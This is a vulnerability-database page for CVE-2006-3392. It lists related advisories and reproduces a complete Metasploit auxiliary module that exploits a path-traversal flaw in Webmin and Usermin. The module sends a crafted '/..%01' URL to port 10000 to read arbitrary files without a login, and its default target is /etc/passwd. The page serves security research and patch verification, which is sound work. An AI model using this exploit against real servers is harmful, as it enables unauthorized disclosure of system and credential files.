| Reporter | Title | Published | Views | Family All 28 |
|---|---|---|---|---|
| CVE-2006-3392 | 29 May 201815:50 | – | circl | |
| CVE-2006-3392 | 6 Jul 200620:00 | – | cve | |
| CVE-2006-3392 | 6 Jul 200620:00 | – | cvelist | |
| [SECURITY] [DSA 1199-1] New webmin packages fix input validation problems | 24 Oct 200601:10 | – | debian | |
| [SECURITY] [DSA 1199-1] New webmin packages fix input validation problems | 24 Oct 200601:10 | – | debian | |
| Debian DSA-1199-1 : webmin - multiple vulnerabilities | 25 Oct 200600:00 | – | nessus | |
| FreeBSD : webmin, usermin -- arbitrary file disclosure vulnerability (227475c2-09cb-11db-9156-000e0c2e438a) | 3 Jul 200600:00 | – | nessus | |
| GLSA-200608-11 : Webmin, Usermin: File Disclosure | 7 Aug 200600:00 | – | nessus | |
| Mandrake Linux Security Advisory : webmin (MDKSA-2006:125) | 16 Dec 200600:00 | – | nessus | |
| Usermin 'miniserv.pl' Arbitrary File Disclosure | 16 Sep 201400:00 | – | nessus |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin File Disclosure',
'Description' => %q{
A vulnerability has been reported in Webmin and Usermin, which can be
exploited by malicious people to disclose potentially sensitive information.
The vulnerability is caused due to an unspecified error within the handling
of an URL. This can be exploited to read the contents of any files on the
server via a specially crafted URL, without requiring a valid login.
The vulnerability has been reported in Webmin (versions prior to 1.290) and
Usermin (versions prior to 1.220).
},
'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>' ],
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '26772'],
['BID', '18744'],
['CVE', '2006-3392'],
['US-CERT-VU', '999601'],
['URL', 'https://web.archive.org/web/20060722192501/http://secunia.com/advisories/20892/'],
],
'DisclosureDate' => '2006-06-30',
'Actions' =>
[
['Download', 'Description' => 'Download arbitrary file']
],
'DefaultAction' => 'Download'
))
register_options(
[
Opt::RPORT(10000),
OptString.new('RPATH',
[
true,
"The file to download",
"/etc/passwd"
]
),
OptString.new('DIR',
[
true,
"Webmin directory path",
"/unauthenticated"
]
),
])
end
def run
print_status("Attempting to retrieve #{datastore['RPATH']}...")
dir = normalize_uri(datastore['DIR'])
uri = Rex::Text.uri_encode(dir) + "/..%01" * 40 + Rex::Text.uri_encode(datastore['RPATH'])
res = send_request_raw({
'uri' => uri,
}, 10)
if (res)
print_status("The server returned: #{res.code} #{res.message}")
print(res.body)
else
print_status("No response from the server")
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation